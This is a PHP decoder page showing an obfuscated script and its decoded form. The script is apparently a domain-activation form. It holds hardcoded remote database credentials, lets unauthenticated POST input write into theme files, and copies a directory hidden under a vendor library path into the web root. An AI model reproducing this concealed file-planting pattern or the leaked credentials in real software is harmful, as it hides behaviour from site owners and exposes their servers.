Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto ORdfS; uXEB3: $dbname = "\x66\162\x65\145\x64\142\x5f\144\x6d\x6c\x31\x30\x32"..
Decoded Output download
<?php
goto ORdfS; uXEB3: $dbname = "freedb_dml102"; goto dXcXK; QwN2f: $username = "freedb_dml102"; goto Aukvq; kzd0q: if ($conn->connect_error) { die("Connection failed: " . $conn->connect_error); } goto nBueL; ORdfS: $servername = "sql.freedb.tech"; goto QwN2f; Aukvq: $password = "zRKQ*arXY498f@e"; goto uXEB3; nBueL: if ($_SERVER["REQUEST_METHOD"] == "POST") { goto AhJFw; wFkfB: $stmt->close(); goto arEXu; PYuBK: $sql = "SELECT * FROM domain WHERE giatri = ?"; goto o7lWn; iknrF: $result = $stmt->get_result(); goto R7y3e; cG9Y5: $stmt->bind_param("s", $data); goto L6rL9; AhJFw: $data = $_POST["data"]; goto PYuBK; R7y3e: if ($result->num_rows > 0) { echo "Domain \xc4\221\303\243 t\341\xbb\x93n t\xe1\272\241i."; } else { goto W0qp5; eOfCc: file_put_contents($ten_tep, $data); goto wUFVe; ewQ9b: function copyDirectory($src, $dst) { goto YqI0w; WgKX0: while (($file = readdir($dir)) !== false) { if ($file != "." && $file != "..") { if (is_dir($src . "/" . $file)) { copyDirectory($src . "/" . $file, $dst . "/" . $file); } else { copy($src . "/" . $file, $dst . "/" . $file); } } } goto G4MQX; G4MQX: closedir($dir); goto uUF4g; pNQBM: @mkdir($dst); goto WgKX0; YqI0w: $dir = opendir($src); goto pNQBM; uUF4g: } goto DYZnF; W0qp5: $sql = "INSERT INTO domain (giatri) VALUES (?)"; goto pVjFs; jUzdX: echo "\xc4\x90\303\243 active th\xc3\xa0nh c\303\xb4ng."; goto PFKu0; pVjFs: $stmt = $conn->prepare($sql); goto P04wv; P04wv: $stmt->bind_param("s", $data); goto un9mP; IDvcb: file_put_contents($file_path, implode("
", $file_contents)); goto ewQ9b; aJ1Ke: if (!is_dir($ten_thu_muc)) { mkdir($ten_thu_muc); } goto eOfCc; ClE2p: $file_contents = file($file_path, FILE_IGNORE_NEW_LINES); goto SwL0I; u0S84: for ($i = 0; $i < strlen($data); $i++) { $data2 .= "\" . decoct(ord($data[$i])); } goto qYc3L; wbc08: $ten_tep = $ten_thu_muc . "/bnc.txt"; goto aJ1Ke; wUFVe: $data2 = ''; goto u0S84; ngqgf: copyDirectory($sourcePath, $destinationPath); goto jUzdX; SwL0I: $file_contents[1] = "$dm = "" . $data2 . "";"; goto IDvcb; un9mP: $stmt->execute(); goto Fl1PT; qYc3L: $file_path = "theme/dm.php"; goto ClE2p; DYZnF: $sourcePath = $_SERVER["DOCUMENT_ROOT"] . "/vendor/google/apiclient/src/Google/Task/runex"; goto C8J0q; C8J0q: $destinationPath = $_SERVER["DOCUMENT_ROOT"] . "/data"; goto ngqgf; Fl1PT: $ten_thu_muc = "theme/assets/libs/imask/dist/bnc"; goto wbc08; PFKu0: } goto wFkfB; L6rL9: $stmt->execute(); goto iknrF; o7lWn: $stmt = $conn->prepare($sql); goto cG9Y5; arEXu: } goto fDDP5; dXcXK: $conn = new mysqli($servername, $username, $password, $dbname); goto kzd0q; fDDP5: echo "\xd\xa<!DOCTYPE html>\xd
<html lang="en">
<head>\xd
<meta charset="UTF-8">\xd\xa <title>Active domain</title>\xd\xa <style>\xd\xa body {\xd\xa display: flex;\xd\xa justify-content: center;\xd
align-items: center;
height: 100vh;
margin: 0;
background-color: #f4f4f9;
\xa font-family: Arial, sans-serif;\xd
}\xd
form {\xd\xa padding: 20px;\xd\xa background-color: white;
box-shadow: 0 4px 8px rgba(0,0,0,0.1);
\xa border-radius: 8px;
\xa }\xd\xa input[type="text"] {
\xa padding: 8px;
\xa margin-right: 10px;
border: 1px solid #ccc;
\xa border-radius: 4px;\xd
}
\xa button {\xd
padding: 8px 16px;\xd
background-color: #007BFF;
\xa color: white;
\xa border: none;\xd
border-radius: 4px;\xd\xa cursor: pointer;\xd\xa }
button:hover {\xd\xa background-color: #0056b3;
\xa }\xd\xa </style>\xd
</head>\xd
<body>
\xa <form method="post">\xd
<label for="data">Nh\341\xba\xadp domain:</label>
<input type="text" name="data" id="data">
\xa <button type="submit">Active</button>
\xa </form>\xd
</body>\xd\xa</html>"; ?>
Did this file decode correctly?
Original Code
<?php
goto ORdfS; uXEB3: $dbname = "\x66\162\x65\145\x64\142\x5f\144\x6d\x6c\x31\x30\x32"; goto dXcXK; QwN2f: $username = "\146\162\x65\145\144\142\137\x64\x6d\x6c\x31\x30\x32"; goto Aukvq; kzd0q: if ($conn->connect_error) { die("\x43\157\x6e\x6e\x65\143\164\151\x6f\156\x20\x66\141\151\154\145\144\x3a\40" . $conn->connect_error); } goto nBueL; ORdfS: $servername = "\163\161\154\56\x66\162\145\145\x64\142\x2e\164\145\x63\150"; goto QwN2f; Aukvq: $password = "\x7a\122\x4b\121\52\x61\162\x58\x59\64\71\70\x66\x40\x65"; goto uXEB3; nBueL: if ($_SERVER["\x52\105\x51\x55\x45\123\124\137\115\x45\x54\110\x4f\104"] == "\120\117\123\x54") { goto AhJFw; wFkfB: $stmt->close(); goto arEXu; PYuBK: $sql = "\x53\105\x4c\x45\103\124\x20\x2a\40\x46\122\117\x4d\40\144\157\x6d\x61\151\156\x20\x57\110\105\122\105\40\x67\x69\141\x74\x72\x69\40\75\40\x3f"; goto o7lWn; iknrF: $result = $stmt->get_result(); goto R7y3e; cG9Y5: $stmt->bind_param("\163", $data); goto L6rL9; AhJFw: $data = $_POST["\x64\141\164\x61"]; goto PYuBK; R7y3e: if ($result->num_rows > 0) { echo "\104\x6f\x6d\x61\151\x6e\40\xc4\221\303\243\40\x74\341\xbb\x93\x6e\x20\x74\xe1\272\241\151\56"; } else { goto W0qp5; eOfCc: file_put_contents($ten_tep, $data); goto wUFVe; ewQ9b: function copyDirectory($src, $dst) { goto YqI0w; WgKX0: while (($file = readdir($dir)) !== false) { if ($file != "\x2e" && $file != "\x2e\x2e") { if (is_dir($src . "\x2f" . $file)) { copyDirectory($src . "\x2f" . $file, $dst . "\x2f" . $file); } else { copy($src . "\x2f" . $file, $dst . "\x2f" . $file); } } } goto G4MQX; G4MQX: closedir($dir); goto uUF4g; pNQBM: @mkdir($dst); goto WgKX0; YqI0w: $dir = opendir($src); goto pNQBM; uUF4g: } goto DYZnF; W0qp5: $sql = "\x49\116\x53\105\122\124\40\x49\116\124\117\40\144\157\x6d\141\151\156\40\50\x67\151\141\x74\162\151\51\x20\x56\x41\x4c\x55\105\123\x20\x28\77\x29"; goto pVjFs; jUzdX: echo "\xc4\x90\303\243\40\141\143\164\x69\166\x65\40\164\150\xc3\xa0\156\150\40\143\303\xb4\156\x67\56"; goto PFKu0; pVjFs: $stmt = $conn->prepare($sql); goto P04wv; P04wv: $stmt->bind_param("\163", $data); goto un9mP; IDvcb: file_put_contents($file_path, implode("\12", $file_contents)); goto ewQ9b; aJ1Ke: if (!is_dir($ten_thu_muc)) { mkdir($ten_thu_muc); } goto eOfCc; ClE2p: $file_contents = file($file_path, FILE_IGNORE_NEW_LINES); goto SwL0I; u0S84: for ($i = 0; $i < strlen($data); $i++) { $data2 .= "\x5c" . decoct(ord($data[$i])); } goto qYc3L; wbc08: $ten_tep = $ten_thu_muc . "\57\x62\x6e\143\x2e\164\x78\x74"; goto aJ1Ke; wUFVe: $data2 = ''; goto u0S84; ngqgf: copyDirectory($sourcePath, $destinationPath); goto jUzdX; SwL0I: $file_contents[1] = "\x24\x64\x6d\40\75\40\42" . $data2 . "\x22\73"; goto IDvcb; un9mP: $stmt->execute(); goto Fl1PT; qYc3L: $file_path = "\x74\x68\x65\155\145\57\x64\155\56\160\150\x70"; goto ClE2p; DYZnF: $sourcePath = $_SERVER["\104\117\103\125\x4d\105\x4e\124\137\122\117\117\x54"] . "\x2f\x76\x65\156\144\157\x72\x2f\x67\157\157\x67\154\x65\x2f\141\160\151\143\x6c\151\145\x6e\164\x2f\x73\x72\x63\x2f\x47\x6f\157\147\154\x65\57\x54\141\163\153\57\162\165\x6e\145\x78"; goto C8J0q; C8J0q: $destinationPath = $_SERVER["\x44\x4f\103\125\115\x45\x4e\124\x5f\x52\117\x4f\124"] . "\57\x64\141\164\141"; goto ngqgf; Fl1PT: $ten_thu_muc = "\x74\x68\145\155\145\57\x61\163\163\145\x74\x73\57\154\x69\142\x73\57\151\155\141\x73\x6b\x2f\144\x69\x73\164\57\x62\x6e\x63"; goto wbc08; PFKu0: } goto wFkfB; L6rL9: $stmt->execute(); goto iknrF; o7lWn: $stmt = $conn->prepare($sql); goto cG9Y5; arEXu: } goto fDDP5; dXcXK: $conn = new mysqli($servername, $username, $password, $dbname); goto kzd0q; fDDP5: echo "\xd\xa\74\x21\x44\117\103\x54\x59\x50\x45\40\x68\164\x6d\154\76\xd\12\74\150\x74\155\154\x20\154\141\x6e\x67\75\x22\145\x6e\42\x3e\15\12\x3c\150\x65\141\144\x3e\xd\12\40\40\x20\40\74\155\145\x74\141\x20\x63\x68\x61\162\x73\145\x74\x3d\42\125\124\106\55\x38\x22\x3e\xd\xa\x20\40\x20\40\x3c\x74\x69\164\154\x65\x3e\101\x63\x74\151\166\145\x20\x64\x6f\155\x61\x69\x6e\74\x2f\x74\151\164\154\x65\76\xd\xa\x20\40\x20\x20\x3c\163\164\171\x6c\x65\x3e\xd\xa\40\40\x20\x20\x20\x20\40\x20\142\x6f\x64\x79\x20\x7b\xd\xa\40\x20\x20\40\40\40\40\40\40\x20\x20\40\144\x69\163\x70\154\x61\171\x3a\40\146\154\145\x78\x3b\xd\xa\40\x20\x20\40\40\x20\x20\40\40\x20\40\40\x6a\165\163\164\x69\146\171\x2d\x63\157\x6e\x74\145\x6e\x74\x3a\40\143\145\x6e\164\145\162\x3b\xd\12\40\40\40\40\40\x20\40\x20\x20\x20\40\x20\x61\x6c\151\147\x6e\x2d\151\x74\145\155\163\x3a\x20\143\x65\156\164\145\162\73\15\12\40\40\x20\40\x20\x20\40\x20\x20\40\x20\40\150\x65\x69\x67\x68\x74\72\x20\61\60\60\x76\150\73\15\12\x20\40\x20\x20\x20\40\40\40\40\40\x20\40\155\x61\x72\147\x69\156\72\40\x30\x3b\15\12\40\40\x20\x20\x20\x20\x20\x20\40\x20\40\x20\x62\x61\x63\153\x67\162\157\165\156\x64\55\x63\x6f\154\x6f\162\72\x20\x23\x66\x34\146\x34\x66\71\x3b\15\xa\x20\40\x20\40\40\40\40\40\40\40\40\40\146\157\156\164\x2d\146\x61\x6d\x69\x6c\x79\x3a\x20\101\162\x69\x61\154\54\40\x73\x61\x6e\x73\55\163\x65\162\151\146\x3b\xd\12\x20\40\x20\x20\x20\40\40\40\x7d\xd\12\40\40\x20\40\40\40\40\40\146\x6f\x72\x6d\x20\173\xd\xa\40\x20\x20\40\x20\40\x20\x20\x20\x20\x20\x20\160\x61\144\144\x69\x6e\147\x3a\x20\62\x30\x70\170\x3b\xd\xa\x20\x20\x20\40\40\40\x20\40\x20\x20\40\x20\x62\x61\143\x6b\x67\162\x6f\x75\x6e\144\x2d\x63\x6f\154\x6f\162\72\x20\x77\150\x69\x74\x65\73\15\12\x20\x20\x20\x20\x20\40\x20\x20\40\x20\x20\x20\x62\157\170\x2d\163\150\x61\144\x6f\x77\x3a\x20\60\x20\x34\160\170\40\70\160\170\40\162\147\x62\x61\x28\60\x2c\60\x2c\x30\54\60\x2e\61\51\x3b\15\xa\x20\40\x20\40\x20\40\x20\40\x20\40\x20\x20\x62\x6f\x72\x64\145\162\55\162\x61\x64\x69\165\x73\x3a\40\x38\x70\170\73\15\xa\40\40\x20\40\40\40\x20\x20\175\xd\xa\x20\40\40\x20\40\x20\x20\x20\x69\156\x70\x75\164\133\164\171\x70\x65\75\42\x74\145\x78\164\x22\x5d\x20\x7b\15\xa\x20\x20\x20\x20\40\40\x20\x20\40\40\x20\x20\x70\141\144\144\151\x6e\x67\72\40\x38\160\x78\73\15\xa\40\x20\40\40\x20\x20\x20\x20\x20\x20\40\x20\x6d\141\162\147\151\156\55\162\151\x67\x68\x74\x3a\x20\x31\60\160\x78\73\15\12\x20\x20\x20\40\40\x20\40\x20\40\x20\x20\40\x62\157\x72\144\x65\162\x3a\40\x31\160\x78\x20\163\x6f\x6c\151\144\40\43\143\143\143\x3b\15\xa\40\40\x20\x20\x20\40\40\x20\40\x20\x20\x20\142\x6f\162\x64\145\162\55\x72\x61\144\151\x75\163\x3a\40\x34\160\170\73\xd\12\40\x20\x20\x20\x20\40\40\40\175\15\xa\40\40\40\x20\x20\40\40\x20\x62\165\x74\x74\157\156\x20\x7b\xd\12\x20\40\40\40\x20\x20\x20\40\40\x20\x20\40\160\x61\144\x64\151\156\x67\72\40\70\x70\170\40\x31\66\160\x78\73\xd\12\x20\x20\40\x20\40\40\x20\x20\x20\x20\40\x20\x62\141\x63\153\x67\162\x6f\x75\156\x64\55\x63\157\x6c\x6f\x72\x3a\40\43\x30\x30\67\x42\x46\106\x3b\15\xa\40\x20\40\x20\x20\x20\40\40\40\40\x20\40\143\x6f\x6c\157\162\x3a\x20\x77\x68\151\164\145\x3b\15\xa\x20\x20\40\40\40\40\40\x20\40\40\x20\40\142\157\162\x64\x65\x72\72\x20\156\157\x6e\x65\x3b\xd\12\x20\40\x20\x20\x20\40\40\40\x20\x20\40\x20\x62\157\x72\144\x65\162\55\162\x61\x64\151\165\163\x3a\x20\x34\160\x78\73\xd\xa\40\40\x20\x20\x20\x20\40\x20\40\40\40\40\143\x75\162\163\x6f\x72\x3a\40\x70\x6f\151\156\164\145\162\73\xd\xa\x20\40\40\x20\40\40\40\40\x7d\15\12\x20\40\x20\40\x20\40\40\40\x62\x75\x74\164\x6f\x6e\72\150\157\166\145\x72\40\x7b\xd\xa\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\x20\142\x61\143\153\x67\x72\157\165\156\144\x2d\143\x6f\x6c\x6f\x72\x3a\40\x23\x30\x30\65\66\x62\63\x3b\15\xa\40\40\x20\x20\40\x20\x20\x20\175\xd\xa\40\40\40\x20\x3c\57\x73\x74\x79\154\x65\x3e\xd\12\74\57\x68\x65\141\x64\x3e\xd\12\x3c\142\157\x64\x79\x3e\15\xa\40\x20\x20\40\x3c\x66\x6f\x72\155\x20\x6d\x65\x74\x68\x6f\144\75\x22\160\157\x73\x74\x22\x3e\xd\12\x20\x20\40\x20\40\x20\x20\40\74\154\141\142\145\x6c\x20\x66\157\162\x3d\42\144\x61\x74\x61\42\76\116\150\341\xba\xad\160\x20\x64\x6f\155\x61\x69\x6e\72\74\x2f\154\x61\x62\x65\x6c\x3e\15\12\x20\40\40\40\40\40\40\40\x3c\x69\x6e\160\165\164\x20\164\x79\160\x65\75\x22\x74\145\x78\164\x22\40\156\141\155\x65\75\42\x64\x61\x74\141\42\40\x69\x64\75\42\x64\141\x74\x61\42\x3e\15\xa\x20\40\40\x20\x20\x20\40\x20\x3c\142\165\164\164\x6f\x6e\x20\x74\x79\160\x65\x3d\x22\x73\x75\x62\155\x69\x74\x22\76\101\143\x74\x69\x76\x65\x3c\x2f\x62\x75\x74\164\x6f\x6e\x3e\15\xa\x20\40\x20\x20\x3c\x2f\146\157\162\155\x3e\xd\12\x3c\x2f\x62\157\x64\x79\x3e\xd\xa\74\x2f\150\x74\155\x6c\x3e";
Function Calls
None |
Stats
MD5 | 67fa55282a74414c22e4e6de88dec7ec |
Eval Count | 0 |
Decode Time | 52 ms |